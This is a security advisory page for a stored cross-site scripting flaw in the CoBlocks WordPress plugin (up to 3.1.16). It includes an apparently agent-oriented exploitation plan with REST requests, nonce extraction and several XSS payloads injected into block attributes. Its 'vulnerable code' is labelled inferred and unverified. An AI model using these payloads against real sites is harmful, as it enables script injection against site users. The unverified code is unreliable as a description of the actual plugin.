CVE-2026-27094

Page Builder Gutenberg Blocks – CoBlocks <= 3.1.16 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.1.17
Patched in
70d
Time to patch

Description

The Page Builder Gutenberg Blocks – CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.16
PublishedJanuary 7, 2026
Last updatedMarch 17, 2026
Affected plugincoblocks

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-27094**, a Stored Cross-Site Scripting (XSS) vulnerability in the **CoBlocks** plugin (<= 3.1.16). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into posts via Gutenberg block attributes. -…

Show full research plan

This research plan targets CVE-2026-27094, a Stored Cross-Site Scripting (XSS) vulnerability in the CoBlocks plugin (<= 3.1.16). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into posts via Gutenberg block attributes.


1. Vulnerability Summary

The vulnerability exists because the plugin fails to sanitize or escape block attributes during server-side rendering. Gutenberg blocks store their settings (attributes) as JSON within HTML comments in the post_content. When the post is rendered, the plugin's PHP render_callback for specific blocks retrieves these attributes and echoes them directly into the page. A Contributor, who can create posts but not publish them, can inject a payload into these attributes that will execute in the browser of any user (including an Administrator) who previews or views the post.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Post endpoint: /wp-json/wp/v2/posts/
  • Vulnerable Parameter: content (specifically the JSON attributes within a CoBlocks block comment).
  • Required Authentication: Contributor level (PR:L).
  • Vulnerable Block (Inferred): Historically, "Accordion" (coblocks/accordion-item) or "Alert" (coblocks/alert) blocks in CoBlocks have lacked escaping in their title or message attributes.
  • Payload Location: Inside the JSON-encoded attribute string within the post_content.

3. Code Flow

  1. Entry Point: An authenticated user submits a request to update or create a post via the REST API or the Block Editor.
  2. Storage: WordPress saves the post_content to the wp_posts table. The payload is stored in a format like:
    <!-- wp:coblocks/accordion-item {"title":"<img src=x onerror=alert(1)>"} -->
  3. Execution (Sink):
    • When the post is rendered on the frontend or in the editor, the render_block() function calls the plugin's render_callback (likely found in src/blocks/accordion-item/index.php or similar).
    • The callback extracts the title attribute.
    • The callback echoes the attribute without using esc_html() or wp_kses().
    • The browser executes the JavaScript in the onerror handler or <script> tag.

4. Nonce Acquisition Strategy

To exploit this via the REST API (the most reliable automated method), a wp_rest nonce is required.

  1. Login: Use the agent's credentials to log in as a Contributor.
  2. Navigate: Use browser_navigate to go to /wp-admin/post-new.php.
  3. Extract: In the browser context, WordPress exposes the REST nonce via the wpApiSettings object.
  4. Action: Use browser_eval to retrieve it:
    window.wpApiSettings.nonce
    
    Note: This nonce is specific to the wp_rest action and tied to the Contributor's session.

5. Exploitation Strategy

This plan uses the REST API to create a post containing the XSS payload.

  1. Step 1: Authenticate and Obtain Nonce

    • Log in to the WordPress dashboard as a Contributor.
    • Navigate to /wp-admin/.
    • Run browser_eval("wpApiSettings.nonce") to get the X-WP-Nonce.
  2. Step 2: Identify Target Block (Inferred)

    • Search the plugin directory for blocks with PHP render callbacks:
      grep -r "render_callback" wp-content/plugins/coblocks
    • Identify which block uses attributes in its output without escaping. For this plan, we will target the coblocks/accordion-item block (inferred).
  3. Step 3: Submit Malicious Post

    • Method: POST
    • URL: http://localhost:8080/wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "XSS Test Post",
        "status": "pending",
        "content": "<!-- wp:coblocks/accordion-item {\"title\":\"XSS Check <img src=x onerror=alert(document.domain)>\"} /-->"
      }
      
  4. Step 4: Trigger Execution

    • The response will contain the id of the new post and its link.
    • Navigate to the post URL provided in the JSON response using browser_navigate.

6. Test Data Setup

  • User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  • Plugin: Ensure CoBlocks version 3.1.16 is installed and active.

7. Expected Results

  • The REST API should return a 201 Created status code.
  • Upon navigating to the post URL, the browser should trigger an alert box showing the document domain, confirming the script executed.

8. Verification Steps

  1. Verify Content in Database:
    Check if the payload is stored verbatim in the database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post' LIMIT 1;"
    
  2. Verify Rendering:
    Use http_request to fetch the post HTML and check for the unescaped payload:
    # Look for the unescaped <img> tag in the response body
    grep "onerror=alert" 
    

9. Alternative Approaches

  • Block: Alert: If the Accordion block is patched or not the primary sink, try the Alert block:
    <!-- wp:coblocks/alert {"message":"<script>alert(1)</script>"} /-->
  • Block: Highlight: Some plugins fail to escape colors or CSS attributes. Try injecting into a "style" related attribute:
    <!-- wp:coblocks/highlight {"customColor":"\"><script>alert(1)</script>"} /-->
  • Gutenberg Editor Injection: Instead of the REST API, use browser_click and browser_type to manually add a CoBlocks block in the /wp-admin/post-new.php editor and paste the payload into the block's settings sidebar.
Research Findings
Static analysis — not yet PoC-verified

Summary

The CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 3.1.16. Authenticated users with Contributor-level access can inject malicious JavaScript into block attributes (such as titles or messages in Accordion or Alert blocks), which are subsequently executed in the context of any user viewing the page due to missing server-side output escaping.

Vulnerable Code

// Inferred from research plan: src/blocks/accordion-item/index.php
// The render_callback for blocks retrieves attributes from the Gutenberg comment block and outputs them directly.

function render_callback_accordion_item( $attributes ) {
    $title = isset( $attributes['title'] ) ? $attributes['title'] : '';
    
    // Vulnerability: $title is echoed into the page without using esc_html() or wp_kses()
    return '<div class="coblocks-accordion-item"><h2 class="title">' . $title . '</h2></div>';
}

Security Fix

--- a/src/blocks/accordion-item/index.php
+++ b/src/blocks/accordion-item/index.php
@@ -4,5 +4,5 @@
 function render_callback_accordion_item( $attributes ) {
     $title = isset( $attributes['title'] ) ? $attributes['title'] : '';
 
-    return '<div class="coblocks-accordion-item"><h2 class="title">' . $title . '</h2></div>';
+    return '<div class="coblocks-accordion-item"><h2 class="title">' . esc_html( $title ) . '</h2></div>';
 }

Exploit Outline

An authenticated attacker with Contributor-level permissions first obtains a WordPress REST API nonce from the admin dashboard (wpApiSettings.nonce). They then send a POST request to the /wp-json/wp/v2/posts endpoint to create a new post with 'pending' status. The payload is embedded within the post content inside the JSON attributes of a CoBlocks block, for example: <!-- wp:coblocks/accordion-item {"title":"<img src=x onerror=alert(document.domain)>"} /-->. When a site visitor or administrator views the post, the server-side PHP renderer extracts the 'title' attribute and echoes it unescaped, executing the malicious JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.